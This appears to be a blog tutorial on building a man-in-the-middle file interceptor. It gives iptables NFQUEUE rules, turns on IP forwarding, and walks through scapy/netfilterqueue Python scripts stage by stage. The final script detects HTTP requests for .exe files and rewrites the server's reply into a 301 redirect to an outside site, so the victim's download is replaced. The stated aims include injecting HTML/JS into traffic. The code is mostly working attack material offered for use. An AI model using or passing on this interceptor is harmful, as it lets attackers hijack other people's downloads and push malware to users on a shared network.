WRITING A FILE INTERCEPTOR/REPLACE

# MODEFYING DATA IN HTTP-LAYER

MOTIVE:

  • EDIT REQUEST/RESPONSES
  • REPLACE DOWNLOAD REQUEST
  • INJECT CODE(HTML/JS)
The Port number used for HTTP is 80

#IP-table FOR-REMOTE-PC
-RUN: iptables -I OUTPUT -j NFQUEUE --queue-num 0
-RUN: iptables -I INPUT -j NFQUEUE --queue-num 0

#IP-table FOR-LOCAL-PC
-RUN: iptables -I FORWARD -j NFQUEUE --queue-num 0

#INTERNET
echo 1 > /proc/sys/net/ipv4/ip_forward

# CODE:.SHOW()/HTTP
  1. #!/usr/bin/env python
  2. import netfilterqueue
  3. import scapy.all as scapy

  4. def process_packet(packet):
  5. scapy_packet = scapy.IP(packet.get_payload())

  6. if scapy_packet.haslayer(scapy.Raw):
  7. print(scapy_packet.show())


  8. packet.accept()

  9. queue = netfilterqueue.NetfilterQueue()
  10. queue.bind(0, process_packet)
  11. queue.run()

# CODE: MODEFING-FOR REQUEST AND RESPONSES
show all data related to http-
  1. #!/usr/bin/env python
  2. import netfilterqueue
  3. import scapy.all as scapy

  4. def process_packet(packet):
  5. scapy_packet = scapy.IP(packet.get_payload())

  6. if scapy_packet.haslayer(scapy.Raw):

  7. if scapy_packet[scapy.TCP].dport == 80:
  8. print("HTTP Request")
  9. print(scapy_packet.show())

  10. elif scapy_packet[scapy.TCP].sport ==80:
  11. print("HTTP Request")
  12. print(scapy_packet.show())


  13. packet.accept()

  14. queue = netfilterqueue.NetfilterQueue()
  15. queue.bind(0, process_packet)
  16. queue.run()


# CODE:MODEfy#2 [desire-extension]
can filter the .exe/- any -what u wish for/just replace
  1. #!/usr/bin/env python
  2. import netfilterqueue
  3. import scapy.all as scapy


  4. ack_list = []
  5. def process_packet(packet):
  6. scapy_packet = scapy.IP(packet.get_payload())

  7. if scapy_packet.haslayer(scapy.Raw):

  8. if scapy_packet[scapy.TCP].dport == 80:
  9. if ".exe" in scapy_packet[scapy.Raw].load:
  10. print("[+] exe Request")
  11. ack_list.append(scapy_packet[scapy.TCP].ack)
  12. print(scapy_packet.show())

  13. elif scapy_packet[scapy.TCP].sport ==80:
  14. if scapy_packet[scapy.TCP].seq in ack_list:
  15. ack_list.remove(scapy_packet[scapy.TCP].seq)
  16. print("HTTP Request")
  17. print(scapy_packet.show())


  18. packet.accept()

  19. queue = netfilterqueue.NetfilterQueue()
  20. queue.bind(0, process_packet)
  21. queue.run()

# CODE:MODEfy#3
https://en.wikipedia.org/wiki/HTTP_301
changing the link by HTTP 301
  1. #!/usr/bin/env python
  2. import netfilterqueue
  3. import scapy.all as scapy


  4. ack_list = []
  5. def process_packet(packet):
  6. scapy_packet = scapy.IP(packet.get_payload())

  7. if scapy_packet.haslayer(scapy.Raw):

  8. if scapy_packet[scapy.TCP].dport == 80:
  9. if ".exe" in scapy_packet[scapy.Raw].load:
  10. print("[+] exe Request")
  11. ack_list.append(scapy_packet[scapy.TCP].ack)
  12. print(scapy_packet.show())

  13. elif scapy_packet[scapy.TCP].sport ==80:
  14. if scapy_packet[scapy.TCP].seq in ack_list:
  15. ack_list.remove(scapy_packet[scapy.TCP].seq)
  16. print("[+]Replacing file")
  17. scapy_packet[scapy.Raw].load = "HTTP/1.1 301 Moved Permanently\nLocation: https://www.epicmovies4me.ml\n\n"

  18. del scapy_packet[scapy.IP].len
  19. del scapy_packet[scapy.IP].chksum
  20. del scapy_packet[scapy.TCP].chksum
  21. packet.set_payload(str(scapy_packet))



  22. packet.accept()

  23. queue = netfilterqueue.NetfilterQueue()
  24. queue.bind(0, process_packet)
  25. queue.run()








Post a Comment

If you have any doubts, please let me know

Previous Post Next Post